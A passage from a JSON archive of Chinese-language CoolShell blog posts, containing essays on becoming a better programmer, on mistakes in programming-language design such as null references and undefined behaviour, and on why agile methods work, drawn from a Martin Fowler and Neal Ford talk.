traffic。通过分析OpenSTA的性能指标收集器收集的各项性能指标，以及HTTP 数据，对系统的性能进行分析。</p>\n<p>欢迎您留下你认为不错的WEB应用性能测试的工具。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8767.html\"><img alt=\"Web工程师的工具箱\" height=\"150\" src=\"../wp-content/uploads/2012/12/webtoolbox-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8767.html\">Web工程师的工具箱</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2574.html\"><img alt=\"如何在低速率网络中测试 Web 应用\" height=\"150\" src=\"../wp-content/uploads/2010/07/Firefox-Throttle-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2574.html\">如何在低速率网络中测试 Web 应用</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18094.html\"><img alt=\"如何免费的让网站启用HTTPS\" height=\"150\" src=\"../wp-content/uploads/2017/08/enable-https-banner-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18094.html\">如何免费的让网站启用HTTPS</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12225.html\"><img alt=\"DHH 谈混合移动应用开发\" height=\"150\" src=\"../wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12225.html\">DHH 谈混合移动应用开发</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12206.html\"><img alt=\"HTML6 展望\" height=\"150\" src=\"../wp-content/uploads/2014/12/html6-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12206.html\">HTML6 展望</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2589.html\">十个免费的Web压力测试工具</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-7-14 五个方法成为更好的程序员.html",
    "content": "<html><body><p>对我来说，一个好的程序员应该是努力去追求尽可能无错的高质量的符合需求的代码实现。 一些人也许认为好的程序员是那些懂得多门编程语言，懂得很牛技术的程序员，是的，这在某些情况下是对的。但归根到底，无论你用什么样的技术，什么样的语言，所有的程序被写出来，其功能都要符合需求以及尽可能地健壮无错和高质量。  我们可以想像一下，如果一个能力普通的程序员有足够多的时间来做测试，那么，其也可以保证他的代码的质量。所以，有一种观点这样认为——要达到质量高的代码只需要有足够多的时间来做测试。这对于以结果为导向的商业软件开发中是可以理解的（我们可以看到那些制汽车的产商在汽车测试上花费的精力和时间就可以明白这一道理）。</p>\n<p>但是，很明显，所有的已经开发出来项目都是在不完美的条件下开发出来的，一般来说，几乎所有的项目都是在最大化程序员软件的开发速度。而且，很多情况下，我们似乎对深度测试和压力测试并不是很关心，所以，我们总是在祈祷并期望那些赶工出来的代码可以正常工作，尤其是在上线的时候，这种唯心主义的价值观更为强烈。  其实，开发速度和软件产品质量并不矛盾。<span style=\"color: #008000;\"><strong>好的程序员并一定是技术强的程序员，而是那些可以在不完美的工作环境下保证软件质量和工作效率的程序员</strong></span>。下面是是五个程序员可以在这种不完美的情况下做得更好的观点（它们都和语言和技术没什么关系，只不过是一种你的工作行为，能够和所有的行业相通），这五个观点也许可以让你成为这样的好程序员。</p>\n<p><strong> </strong></p>\n<ul>\n<li><span style=\"font-weight: normal;\"><strong>寻找不同观点：</strong>程序员好像并不喜欢技术上有异见的人，他们特别喜欢争论各自的技术观点。但是，他们忽略了不同观点的价值。任何事情都有好有坏，我们应该学会在不同观点中学习和平衡。这样才会更多的了解编程和技术。要经常在做事之前问自己和别人，这么做对不对？做完事后问自己，还可不可以改进？努力去寻找别的不同的观点或方法。程序员应该经常上网，经常和同事讨论不同的实现方法，不同的技术观点，这样才能取长补短。然而，在实际工作中，我发现程序员们并不喜欢互相请教，因为请教的人怕别人看不起他，而被请教的人总是先贬低对方的能力，哎……（参看《</span><a href=\"https://coolshell.cn/articles/1081.html\" rel=\"bookmark\">十个让你变成糟糕的程序员的行为</a>》），如果有这样的文化氛围的话，那也没有关系。上网吧，网上的人谁也不认识谁，可以尽情地问一些愚蠢的问题。呵呵。总之，一定要明白，如果某些事情只有一个观点，那么你一定要怀疑一下了，没有观点和技术方案的比较，没有百花齐放的情况，你就无法知道是否还有更好的东西。真正的和谐不是只有一种声音，真正的和谐而是在不同的观点声音下取长补短，百家争鸣（参看《<a href=\"https://coolshell.cn/articles/2424.html\" rel=\"bookmark\" target=\"_blank\">十条不错的编程观点</a>》）。否则，你永远都不会接受到新的观点，也就无法进步和成长了。</li>\n</ul>\n<p><span id=\"more-2606\"></span></p>\n<p><strong> </strong></p>\n<ul>\n<li><span style=\"font-weight: normal;\"><strong>千万别信自己的代码</strong>: 在任何时候，一定要高度怀疑自己的代码。很多时候，错误总是自己造成的。所以，当出现问题的时候，要学会review代码中所有的可疑点，千万别觉得某段代码很简单，可以略过。事实证明，很多疏忽大意都是在阴沟里翻的船，都是那些很低级的错误。在查错的过程中，切忌过早下结论，切忌四处乱改（参看《<a href=\"https://coolshell.cn/articles/2058.html\" rel=\"bookmark\" target=\"_blank\">各种流行的编程风格</a>》），停下来，想一想，会是哪儿的代码有重大嫌疑，然后查看一下代码，捋一捋程序的逻辑（参看《<a href=\"https://coolshell.cn/articles/1719.html\" rel=\"bookmark\">橡皮鸭程序调试法</a>》），调试并验证一下程序的逻辑和变量在运行时是否是正确的。很多时候，对于那些难缠的问题，最后解决了总是因为我们开始认真回头审视所有的代码。只有对自己的代码保持着高度的怀疑，这样我们才会想着如何让其运行得更好更稳定，也会让我们在单元测试中下更多的功夫，这样才能更能在那忙碌的环境中节省时间。相信我，在集成测试中fix bug的成本要比在单元测试Fix bug的成本大得多的多。一个简单的例子就是memory leak。程序员对自己的程序需要有忧患意识，这样才会越来越成熟，而自己的能力也会越来越强。</span></li>\n</ul>\n<p><strong> </strong></p>\n<ul>\n<li><span style=\"font-weight: normal;\"><strong>思考和放松</strong>: 做事前多想一想，这样做事的时候就不会不顾此失彼，手忙脚乱，一旦事情一乱，你的心情也会更乱，于是，事情也就会更乱。最后，你只得重写，这种事情太多了。而且，在工作中要学会享受，要学会放松心情，我并不是让你工作的时候聊QQ，我只是说，有时候，心态过于紧张，压力过大，你的工作成果反而更不好，从而又反过来造成新一轮的焦虑和紧张。我个人认为，<strong>思考和放松是可以完美统一的</strong>，思考其实就是一种放松，停下来，休息一下，回头看看走过的路，喝口水，登个高，看看过去走的对不对？总体是个什么样？总结一下，然后看看前路怎么样好走，这会你才会越走越好，越走越快。好的程序员都不是那种埋头苦干的人，好的程序员总是那些善于总结成败得失，善于思考，善于调整，善于放松的人（参看《<a href=\"https://coolshell.cn/articles/222.html\" target=\"_blank\">优秀程序员的十个习惯</a>》）。不然，我能看到的情形是，你很快地把事干完，回到家刚坐下来，老板或是客户就打电话来告诉你你的程序出问题了。总之，深思熟虑，动作会很慢，但是你可以保证你工作成果的质量，反而能让你更多的节约时间。</span></li>\n</ul>\n<p><strong> </strong></p>\n<ul>\n<li><span style=\"font-weight: normal;\"><strong>学习历史，跟上时代</strong>: 如果你是从十年前开始编程的，那么，今天的这门语言或是技术会有很多很多的改进和改善。你以前开发一个功能或函数，今天早已被集成时了语言中，而且做得比你的版本要好得多。以前你需要100行代码完成的事情，今天只需要1行代码。这样的事情在未来还会发生，所以，今天的你一定要学会如何跟上时代。但是，你也不要放弃历史，我现在看到很多程序员对一些现代的语言和技术使用的非常好，他们可以很容易地跟上时代。但不要忘了，计算机世界的技术更新和技术淘汰也是非常猛的。所以，你一定要学习历史，这些历史不是产商的历史，而是整个计算机文化的历史（参见《<a href=\"https://coolshell.cn/articles/2322.html\" rel=\"bookmark\" target=\"_blank\">Unix传奇</a>》）。只有通过历史，你才能明白历史上出现的问题，新技术出来的原因，这样才能够对今天的这些新的技术更了解，也才能明白明天的方向在哪里。学习历史和跟上时代都是相当重要的。使用新型的技术，停下来接受培训，可以让你工作得更快，更高效（参看《</span><a href=\"https://coolshell.cn/articles/511.html\" rel=\"bookmark\" target=\"_blank\">未来五年程序员需要掌握的10项技能</a>》）。而学习和总结历史，才会让你在纷乱的世界中找到方向。</li>\n</ul>\n<p><strong> </strong></p>\n<ul>\n<li><span style=\"font-weight: normal;\"><strong>积极推动测试活动</strong>: 只有测试才能证明软件可以正常工作，只有测试才能保证软件的质量。无论什么产品，都需要经过或多或少的测试。测试地充分的产品或模块，你会发现其质量总是那么好，测试的不充的产品，质量总是那么次。德系汽车，日系汽车质量怎么样，关键还是在于怎么去测试的，测试的是否充分。所以，在你开发软件的过程中，如果你说你的程序写地好，质量高，那么请你拿出实实在在的测试报告。在整个软件开发过程中，做为一个好的程序员，你应该积极地在各个环节推动项目组进行测试活动。不要以为技术需求阶段和设计阶段不需要测试，一样的，只要你要release什么，release的这个东西都需要进行测试。技术需求怎么做测试？用户案例就是测试案例。在软件开发的整个过程中，保证产品质量有时候比实现需求更重要，尤其是那些非常重要甚至人命关天的产品。</span></li>\n</ul>\n<p>上面这些五个观点都是可能让你在不完美的工作环境中可以工作得更好，更快，更高效，希望能够对你有用。另外，也欢迎你留下你的观点！</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2606.html\">五个方法成为更好的程序员</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-7-14 五个编程语言设计的失误.html",
    "content": "<html><body><p>在近几年来，编程语言的设计正在经历着类似于“文艺复兴”的过程，这么说主要是基于下面两个事实：1）多核技术推动着PC消费者更多的关注并行程序。2）动态语言的性能越来越好，其性期已经可以足够用来实现互联网服务，并且它们正在走出“脚本语言”阴影。</p>\n<p>这篇文章试图收集最重要的编程语言的设计错误，以便让那些程序语言设计者们在设计新型的编程语言时避免。我避免了一些纠缠不清的有好有坏的问题，如：动态类型或是静态类型。我也省略了那些看起来并不严重，很容易被修改的错误。例如，加入“参量”（Parametric Type），这在Java中已经有了。Sun在发布Java 1.0版后的第八年才加入了这一功能。还有一个最近的例子是 <a href=\"http://golang.org/doc/go_lang_faq.html#generics\" target=\"_blank\">Google Go Language Design FAQ</a> 中说到的：: “Generics may well be added at some point. We don’t feel an urgency for them, although we understand some programmers do.”</p>\n<h3>0. Null 指针</h3>\n<p>几乎在所有的主流编程语言中，对一个对像的引用可能会是一个空指针，这个错误会引发运行时错误。 C.A.R. Hoare 最近声明向这一“发明”负责，尽管如此，其它许多的设计者们都应该对这样的设计受到批评。下面是 C.A.R Hoare 的“忏悔”：</p>\n<blockquote><p>I call it my billion-dollar mistake. It was the invention of the null reference in 1965. […] More recent programming languages like Spec# have introduced declarations for non-null references. This is the solution, which I rejected in 1965. – <a href=\"http://qconlondon.com/london-2009/presentation/Null+References:+The+Billion+Dollar+Mistake\" target=\"_blank\">C.A.R. Hoare</a></p>\n<p>我把它叫做“亿万美元错误”。这个空指针的发明创造来自1965年。…… 现在的编程语言引入了“非空引用”的声明规格。这个方案被我在1965年给拒绝了。</p></blockquote>\n<p><span id=\"more-2598\"></span></p>\n<p>其它语言，如 C/C++ 更夸张，它们在运到这样的错误时，直接Crash掉，而 Java， Python 和其它语言会抛出一NullPointerException异常，但问题是，这个 RuntimeException 可能会被几乎所有的语句抛出。其实，只需要一个静态类型的语言就可以保证不会出现空指针或空引用。例如： <a href=\"http://cyclone.thelanguage.org/\" target=\"_blank\">Cyclone</a> 是一个安全的C变种，其引入了非空指针和指针运算的限制。</p>\n<p>一些语言甚至让你根本不可能创建空指针，虽然这使得明确的指针不能行进行运算。Haskell 就是这样的一个语言，其提供了Maybe Monad，其强制程序员考虑“Null”的情形。</p>\n<h3>1. 很难解析的语法</h3>\n<p>编程语言的语法应该来自 <a href=\"http://en.wikipedia.org/wiki/LALR_parser\" target=\"_blank\">LALR</a> 或是更好的 <a href=\"http://en.wikipedia.org/wiki/LL_parser\" target=\"_blank\">LL(1)</a>。今天的程序员需要适当的工具来支持其开发语言，也就是我们常说的IDE，编译器或是其它可以帮你解析程序语言的编程工具。这并不会出现在一个单一的前端。也许，多重编译器已经被实现出来了。这可能让我们的开始变得更容易一些。然而，我们现实中的一个反例是 C++，几乎没有哪个C++的编译器可以把C++这个语言完美地正确地解释出来，而且不同C++的编译器的行为如此的诡异。编程语法的开销是微不足道的，程序员应该在编写程序中享有更快速和高效的回报。</p>\n<h3>2. 未定义的语义</h3>\n<p>别在语言规格中说“实现规范”！尽可能的少使用“未定义”这样的术语来描述语言的行为（C/C++中出现了很多undefined的行为）！黄金准则是StandardML，其是一个完整地正式的语义。C 语言是这样一个反例，其规则中有太多太多的未定义的情况。然而，由于其广泛使用，所以某些行为的定义已经成为了世界的共识（江湖的行规，或，潜规则）。 举个例子，在C中，整型 overflow 的行为是未定义的，而编译器也是有能力推断出“ <code>x &lt; x+1</code> ”是否总是为真。不幸的是，这个本来是编译器应该干的事，交给了程序员，于是在C的世界里，出现了大量的整型溢出的代码。而当整型溢出的时候，几乎所有的行为都是像x86处理器一样（如： <code>maxint+1 == minint）。</code></p>\n<p>明确的语义可以让验证和错误检查更容易。虽然，软件校验来得比缓慢，但一定会来。我可以想像，编程语言的下一个机会将会是更容易地校验，这可能需要十到二十年的时间，但今天开始这样做的语言将会在那天成为世界的主流。</p>\n<h3>3. 坏的Unicode 支持</h3>\n<p>程序中几乎都要处理字符串，但别忘了并不是所有人都会使用英语来编程。今天，几乎所有的编程语言都不支持Unicode，所以，我们只能使用ANSI的英语来编程。这个时代， 程序员应该使用Unicode 来编程，所以，源代码也可以声明其用什么来编码。</p>\n<p>在文本和字节序间的转换和区分在的标准库方面会比语言方面更是一个问题，当然，这也影响了语法。读一读 <a href=\"http://docs.python.org/py3k/whatsnew/3.0.html#text-vs-data-instead-of-unicode-vs-8-bit\" target=\"_blank\">Python 3 是怎么解决这个问题</a>可能会更有一些帮助。</p>\n<h3>4. 预处理器</h3>\n<p>像C++和MP4的预处理器已经被广泛地使用着，使用预处理器更像是一种hack而不是一个干净的解决方案。 他们被用来，使用外部文件（如头文件，但确没有正确地模块机制），使用条件编译，宏替换，等。把这些功能与编程语言集成起来一起使用可以增加程序的性能和开发效率，并没有什么不好的地方。</p>\n<p>如果要举一个反例，那么就是预编译器的模块化系统。C使用<code>#include</code> 而 C++ 更痛苦，因为模板需要写一个大的头文件，而且其会被包含在几乎所有的其它文件中。而一个真正的模块化的系统是不需要使用 <code>extern</code> 关键字，也不需要程序的链接，而应该是直接使用。</p>\n<h2></h2>\n<p>文章：<a href=\"http://beza1e1.tuxen.de/articles/proglang_mistakes.html\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6639.html\"><img alt=\"千万别惹程序员 \" height=\"150\" src=\"../wp-content/uploads/2012/02/programming-language-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6639.html\">千万别惹程序员 </a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4626.html\"><img alt=\"读书笔记：对线程模型的批评\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4626.html\">读书笔记：对线程模型的批评</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3385.html\"><img alt=\"编程语言流行度\" height=\"150\" src=\"../wp-content/uploads/2010/12/rank_scatter1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3385.html\">编程语言流行度</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3100.html\"><img alt=\"编程语言进化\" height=\"150\" src=\"../wp-content/uploads/2010/10/language-evolution-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3100.html\">编程语言进化</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2724.html\"><img alt=\"计算机编程简史图\" height=\"150\" src=\"../wp-content/uploads/2010/07/aboutprogramming04.eng_-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2724.html\">计算机编程简史图</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2539.html\"><img alt=\"参透软件开发的本质 – Uncle Bob Martin 推荐的经典书籍\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2539.html\">参透软件开发的本质 – Uncle Bob Martin 推荐的经典书籍</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2598.html\">五个编程语言设计的失误</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-7-18 为什么敏捷方法能在软件开发中行之有效？.html",
    "content": "<html><body><p><em><a href=\"http://universite-du-si.com/en/conferences/6/sessions/909\">文章来源 – Martin Fowler 和 Neal Ford 在 Paris – USI 2010 的演讲</a></em></p>\n<p>有很多的书籍讨论敏捷方法是怎样工作的（How it works？），在这个主题演讲中，Martin Fowler 和他的同事 Neal Ford 讨论了敏捷方法能够在软件开发项目中行之有效的原因（Why it works？）。作为敏捷方法的发起人和传道者，Martin Fowler 和 ThoughtWorks 一直试图从理论层面证明敏捷方法的可行性，同时不厌其烦地解答着客户们的各种困惑，正如他们所说，敏捷方法中的很多概念不是特别的直观，除非人们真正实践过一段时间，否则有些概念很难从字面上去完全理解。</p>\n<p>Martin Fowler 谈到一个有意思的现象，那就是今天许多人们口中谈论的敏捷方法，和最初的敏捷方法大相径庭，他把这种现象称为“语义扩散（Semantic Diffusion）”，大意是某种思想在传播的过程中，在逐渐扩散的同时，其语义也渐渐变得模糊。在敏捷开发领域里，“语义扩散”导致的一个问题是，在一些使用敏捷方法的项目或者公司中，我们甚至无法辨别出敏捷方法的影子，原因是很多人没有真正地理解敏捷方法，也就不能够正确地运用和实践，从而也就无法真正了解自己是否能够从敏捷方法中获益。</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/07/Martin-Flower1.jpg\"><img alt=\"\" class=\"size-medium wp-image-2653 aligncenter\" height=\"94\" src=\"../wp-content/uploads/2010/07/Martin-Flower1-300x94.jpg\" title=\"Martin Flower\" width=\"300\"/></a></p>\n<p>以下是为什么敏捷方法行之有效的原因：</p>\n<p><span id=\"more-2622\"></span></p>\n<h4><span style=\"color: #000000;\"><strong>1. 敏捷方法和传统的计划驱动方法的两个主要区别</strong></span></h4>\n<p>i. 预测性计划（Predictive Planning）和自适应计划（Adaptive Planning）</p>\n<p>计划驱动方法首先计划要做的工作（plan your work），然后着手工作以完成计划（work your plan）。这是一种带有预测性质的方法，其衡量项目成功的标准则是我们是否按计划、按时、按预算完成了工作。这种方法在很多领域里是适用的。但是对于软件开发而言，如果我们的需求没有办法做到不变更的话，我们就无法保证我们的计划以及其后的工作是不会变更的。Martin Fowler 向现场观众提出了一个问题，大意是你们当中有多少人的软件开发项目的需求是一成不变的，结果没有一位观众举手。因此，敏捷方法引入了自适应计划的概念，既然我们无法保证需求不变更，那么就让我们随时准备接受变更，接受挑战吧。自适应计划将计划驱动的流程缩短为以数周为单位的循环周期，在每一个周期中，我们根据当前的情况不断地调整计划以及计划的执行过程，同时不断地产生能够工作的代码，并且不断地将代码部署到应用环境中去。当然要实现这个目标我们需要一些具体方法的支持，如：自测试代码（Self-Testing Code），持续集成（Continuous Integration），重构（Refactoring），和简洁设计（Simple Design）等等这些技术层面上的方法。Martin Fowler 指出，一些公司和项目之所以受困于敏捷方法，原因之一是他们忽略了这些技术层面的方法，而仅仅实施了项目管理层面的方法。</p>\n<p>ii. 以流程为本（Process First）和以人为本（People First）</p>\n<p>在传统的方法论中，我们总是需要事先定义好工作的方法和流程，然后“工人们”被要求遵照这些方法和流程来工作。在软件开发领域，很多人把软件开发过程等同于软件本身，也就是说，软件开发的过程也如同软件程序般象机器一样运行，组件之间环环相扣，严密地协同工作。问题是软件开发的核心是人，人相对于机器零件和流水线而言，是相对不可预测的和不那么精密的。所以敏捷方法反其道而行之，提倡将“首先定义流程，然后要求软件开发人员遵照流程工作”变为“让参与软件开发的人员自己来定义和选择适合他们的流程”。简单来说就是以人为本，不把人当螺丝钉，发挥人的主观能动性，当然前提是需要团队成员有较高的平均素质。</p>\n<h4><span style=\"color: #000000;\">2. 沟通（Communication）</span></h4>\n<p>Neal Ford 让我们回顾或想象一下失败的软件开发项目，它们的失败是由于技术因素还是人的因素呢？《人件》的作者认为都是人的因素。人类的社会性决定了沟通的重要。Neal 举了几个有趣的例子，如：监狱里的犯人宁愿和其他人渣待在一起也不愿被关禁闭。很多国家禁止驾驶员驾驶时打移动电话，那为什么和乘客聊天就没有问题呢？原因是直接对话是最为有效和便捷的沟通方式，信息的传递在对话过程中非常顺畅和完整。虽然现在的移动通讯已经非常先进，信号质量也很高，但是我们的通话过程仍然是有损的，我们的大脑这个时候就需要努力地试图将通话信息拼凑得更完整以便能够理解对方的意思，因此才会分散驾驶的注意力。随后，Martin Fowler 举了另一个例子，拿他做水果蛋糕的方法和他在酒店的浴室中冲凉的方法来进行比较。因为做水果蛋糕的整个流程和配料都是非常固定的，所以他只需要按步照搬地烹饪即可做出味道非常一致（地好或者差）的水果蛋糕。而在酒店中冲凉就有些不同，因为每一个酒店浴室的开关设计几乎都是不一样的，所以他需要不断地调整开关来获得一个理想的水温，也就是需要不断地重复“调整开关”（输入），“用手试温”（输出）这个过程。相对于做水果蛋糕，在酒店浴室冲凉更好地反应了软件开发的特征，这就是在软件开发领域中，如果我们善于根据用户反馈的信息来做出新的判断和调整，就有可能提高产品的质量和用户的满意度。</p>\n<p>沟通的确是一个非常重要的环节，它是敏捷方法的核心。在敏捷方法中，单元测试是程序员和代码组件的沟通，功能测试是程序员以及QA和系统的沟通，故事墙（Story Wall）和回顾（Retrospective）是团队和成员之间的沟通，功能演示（Showcase 或者 Demo）是团队通过产品和最终用户的沟通，持续集成（Continuous Integration）是产品和企业计算环境的沟通。沟通好了，什么事情都可以妥善解决，沟通得不好，好事也会变坏事。和广大技术爱好者交流沟通也是酷壳存在的目的和意义。</p>\n<p>整个演讲时长一个小时，本文只是节选了我认为比较有意思的观点加上本人的理解写成，如有错误之处欢迎指正，不同看法欢迎交流。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8209.html\"><img alt=\"“单元测试要做多细？”\" height=\"150\" src=\"../wp-content/uploads/2012/09/fight-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8209.html\">“单元测试要做多细？”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7657.html\"><img alt=\"持续部署，并不简单！\" height=\"150\" src=\"../wp-content/uploads/2012/06/hudsonCI2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7657.html\">持续部署，并不简单！</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5531.html\"><img alt=\"Test-Driven Development？别逗了\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" 